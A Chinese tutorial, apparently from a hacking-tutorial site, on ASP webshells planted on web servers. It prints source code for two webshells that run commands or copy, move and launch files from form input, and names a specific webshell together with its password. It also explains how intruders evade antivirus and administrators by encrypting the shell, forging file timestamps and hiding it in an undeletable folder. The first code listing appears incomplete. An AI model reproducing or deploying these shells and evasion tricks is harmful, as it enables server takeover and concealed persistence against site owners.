Asp脚本木马技术

所属分类: 网络安全 / 黑客教程 阅读数: 129
收藏 0 赞 0 分享
现在很多的站点,为便于建站和后台管理,都使用ASP动态程序。但这也为整个站点的安全带来很大隐患,现在典型的网站攻击就是通过植入ASP木马,从而得到系统的控制权。早期的asp木马一般有数个文件,随着asp木马的易用性、隐蔽性以及强大的可执行性,因此得到越来越的黑客和入侵者的青睐,asp木马技术也就水涨船高,现在的asp木马文件已经集成到一个文件,其大小也就二三十k,而且可以通过使用“asp木马免杀工具2.0”等软件来对asp源程序进行加密等方法,躲过防毒软件对其的查杀。下面就对目前比较流行的木马技术、木马软件以及木马防杀毒技术进行介绍。
(一)木马核心技术介绍
Asp木马中最核心的技术就是利用脚本创建对象,然后利用cmd.exe命令来执行对文件的创建、删除以及修改等操作。下面就目前较为流行的利用FSO以及不利用FSO技术的木马程序源代码进行介绍。
说明:FSO是对FileSystemObject的简称,IIS4以及后续版本中的ASP的文件操作都可以通过FileSystemObject实现,包括文本文件的读写目录操作、文件的拷贝改名删除等。FileSystemObject带来方便的同时,也具有非常大的风险性,利用FileSystemObject可以篡改并下载Fat以及FAT32分区上的任何文件,即使是ntfs,如果没有对权限进行很好的设置,同样也能遭到破坏。
1.使用FSO技术的asp木马
codepage ="936" %>
<%
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
’使用Run方法创建一个新的进程,隐藏窗口并激活另一窗口,返回由应用程序返回的任何错误代码
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) ’打开临时文件szTempFile
End If
%>
<HTML>
<body bgcolor="#C0C0C0" text="#000000">
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行" class=input>
</FORM>
<PRE>
<%
If (IsObject(oFile)) Then
’ -- Read the output from our command and remove the temp file -- ’
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll) ’在网页上输出命令执行的结果
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True) ’删除临时文件szTempFile
End If
%>
</BODY>
</HTML>
来调用常用的delete、copy、dir、net、netstat等一些DOS命令。
其原型为:
cmd.exe /c “dos命令” > “文件名称”
如要查看c盘所有文件并将查看结果输出到viewdrive_c.txt的命令为:
cmd.exe/c dir c:\ >viewdrive_c.txt
说明:“>”是将命令执行的结果输入到一个文件。“文件名称”中如果没有指定路径则默认保存在当前目录下。
注意:在输入的命令之间要留一个空格。
三个脚本对象,接着执行Dos命令解释器并执行所输入的Dos命令,并将输入其命令的执行结果到一个临时文件(szTempFile),然后打开临时文件并将其结果回显在网页上,最后删除临时文件。运行结果如图1所示。
2.非FSO技术的asp木马
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>" size="20"> <font class=fonts>输入要浏览的目录,最后要加\</font><br>
<input type=text name=text1 value="<%=szCMD1 %>" size="20">copy
<input type=text name=text2 value="<%=szCMD2 %>" size="20"><br>
<input type=text name=text3 value="<%=szCMD3 %>" size="20">move
<input type=text name=text4 value="<%=szCMD4 %>" size="20"><br>路径:
<input type=text name=text5 value="<%=szCMD5 %>" size="20">程序:
<input type=text name=text6 value="<%=szCMD6 %>" size="20"><br>
<input type=submit name=sb value=发送命令 class=input>
</form>
</table>
</center>
</body>
</html>
<%
szCMD = Request.Form("text") ’目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") ’建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%>
<%
szCMD1 = Request.Form("text1") ’目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") ’建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="\" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3") ’目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") ’建立shell对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="\" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") ’执行程序到指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") ’建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
以上代码运行结果如图2所示。不使用FSO技术的ASP木马是创建一个Shell.Application对象,然后通过shell.namespace来对创建的对象进行操作。通过使用该种方法虽然不能执行net、del以及netstat等命令,但是它可以复制、移动文件及其文件夹以及执行系统中存在的特定程序。不过在每执行一次应用程序时都会打开一个进程,而且可能会报错,通过任务控制器可以查看其打开的进程。
说明:Shell.Application对象提供了NameSpace(文件夹名)、CopyHere(<源>[,选项标志])和MoveHere(<源>[,选项标志])方法。NameSpace()方法可以得到文件夹的属性,CopyHere()和MoveHere()分别对文件夹进行拷贝和移动。
(二)常用的asp木马软件
1.海阳顶端网asp木马
在众多的asp木马中,海阳顶端网asp木马应该是比较成熟的,也是用得最多的asp木马,就其版本而言,到目前为止已经推出了数个版本:海阳顶端网asp木马第一版、海阳顶端网asp木马xp版、海阳顶端网asp木马xp-net版、海阳顶端网asp木马2003版、海阳顶端asp木马安装插件版以及海阳顶端网asp木马2005版。早期的海阳顶端网asp木马一般都有数个asp文件,后期的asp木马把所有的文件都集成到一个文件中了,例如xp版和xp-net版集成后的文件大小也就二十多k。海阳顶端网asp木马是用asp脚本语言编写,提供在线更改、编辑、删除任意文件。如果服务器上存在asp木马程序,那么该服务器基本上就#¥%了。海阳顶端网asp木马xp-net版初次运行界面如图3所示,在下方的输入密码框中输入“haiyangtop.126.com”后可以使用其集成功能的界面(图4)。在该界面中可以方便的切换盘符,浏览、编辑、删除和复制指定盘符下所选中的文件。使用该木马来操作文件就如同在本机上操作文件一样方便。
2.asp木马免杀工具2.0
asp木马免杀工具2.0是一款对asp源代码进行加密的工具(图5)。大小为545k,其中asp.exe为主程序,运行程序后选择源木马文件,然后先单击“转换”,最后单击“加密”即可生成一个加密的asp木马网页文件。
3.思易ASP木马追捕2.0
、adodb.stream对象或者使用了其中的某些方法进行检查,可以对利用变量创建对象、静态对象以及自定义的关键字等进行搜索。不过该程序当对较大文件的检索可能导致IIS停止响应,甚至可能导致服务器宕机,其运行界面如图6所示。
(三)asp木马防毒技术
在攻克主机植入asp木马后,为了保护好自己的战利品,防止系统管理员发现,黑客一般情况下都会对asp木马进行保护,往往通过加密、更改时间以及使用特殊字符等手段来逃过被杀毒软件的查出和避免系统管理员的发现。下面就对其经常使用的方法进行讲解。
1.利用软件对asp源代码加密
目前有很多软件可以对asp源代码进行加密,例如asp木马免杀工具2.0等。其原理是采用一定的算法将源代码或者源代码中的关键字进行某种转换,经过转换后,源代码已经变为乱码或者显示为特定的字符形式。但是随着杀毒技术的提高和版本的升级,经过加密后的asp木马仍然不能保证躲过杀毒软件的查杀。
2.修改asp木马文件的时间
asp木马上传到服务器后,即使非常隐蔽,但是其文件修改时间的变化在正常文件中很容易被发现,因此有人通过修改木马源程序文件的时间跟在服务器上的正常文件的时间一致来逃过被管理员发现。
3.利用特殊字符"\"来保护asp木马
Windows在设计时已经考虑到不能使用“\”来作为文件及其文件夹的名字,但是在使用cmd.exe命令来创建文件时,如果其文件名中包含了“\”,则该文件名中的“\”将被忽略,但是所建立的文件夹还是会成功,只是不会显示“\”(图7)。利用"\"字符来保护asp木马文件的原理为:在IIS设置的目录下创建一个形入“a…\”的文件夹,然后将木马文件复制到该文件夹中。复制成功后,可以在浏览其中输入如下地址运行木马文件http://localhost/aspmuma/asp.../xp.asp
说明:其中我们将xp.asp木马文件复制到“asp…/”目录中,其创建命令如下:
mkdir a…\
copy xp.asp a…\
创建成功后,可以在浏览器中看到一个为“a”的文件夹,但不能打开和删除该文件夹,从而达到保护asp木马文件的目的。
更多精彩内容其他人还在看

黑客七大惯用攻击策略(攻击与防范)

这篇文章主要介绍了黑客七大惯用攻击策略,你必须掌握!,需要的朋友可以参考下
收藏 0 赞 0 分享

Android平台的SQL注入漏洞浅析(一条短信控制你的手机)

14年11月笔者在百度xteam博客中看到其公开了此前报告给Google的CVE-2014-8507漏洞细节——系统代码在处理经由短信承载的WAP推送内容时产生的经典SQL注入漏洞,影响Android 5.0以下的系统
收藏 0 赞 0 分享

浅析XSS与XSSI异同

这篇文章主要介绍了XSS与XSSI异同,跨站脚本(XSS)和跨站脚本包含(XSSI)之间的区别是什么?防御方法有什么不同?感兴趣的小伙伴们可以参考一下
收藏 0 赞 0 分享

没有苹果官方支持 是否可以重置MAC系统固件密码

不开源就意味着更干净更安全,现在连苹果都要准备部分开源给第三方软件了,是不是意味着苹果的安全也不如想象中的那么强大了?这个猜测并没有证据,有证据的是,iMac和MacBook的固件密码已经可以破解重置了
收藏 0 赞 0 分享

躲避黑客的七大高招教程

现在电脑用户最讨厌的就是黑客,有用户问怎么才能高效的躲避黑客的入侵呢?下面小编就为大家介绍七大高招,让你的电脑时时刻刻处于安全状态
收藏 0 赞 0 分享

在线DDoS攻击平台是什么 DDoS攻击平台的流量获取方式

流量获取是DDOS攻击的最重要一环,黑客主要通过获取厂商服务器的上行流量,致使你的服务器、电脑所属的网络或者系统资源耗尽而瘫痪,让你失去目标客户,借此用来勒索厂商。本文讲述了黑客获取流量的主要六种方式
收藏 0 赞 0 分享

如何提高DDoS攻击效率 增强DDoS攻击效果的思路

在我们的思维都朝着一个方向走的时候,忽然的转向会让人茅塞顿开。黑客在我眼中就是一群思维习惯不同的人,他们从不朝着同一个方向走,所以你才会被他们发现这么多的漏洞。一把手枪,四颗子弹,你能让子弹同时击中同一个目标来达到最强的杀伤力吗
收藏 0 赞 0 分享

十三步简单入侵个人电脑教程

下面小编就为电脑新手们打造了一个教程,从来没有通过网络进入别人电脑的用户快来看看吧,主要使用到的软件就是著名的国产木马冰河2.
收藏 0 赞 0 分享

保护DNS服务器的10点方法小结

本文收集总结了几点保护DNS服务器的有效方法,感兴趣的小伙伴们可以参考一下。
收藏 0 赞 0 分享

DNS协议欺骗攻击技术的攻防知识 DNS欺骗攻击和防范方法有哪些

你是否遭遇过这样的情况?当你在浏览器中输入正确的URL地址,但是打开的并不是你想要去的网站。它可能是114的查询页面,可能是一个广告页面,更可能是一个刷流量的页面,甚至是一个挂马的网站。如果你遇到了上述情况话,那么极有可能你遭遇了DNS欺骗。
收藏 0 赞 0 分享
查看更多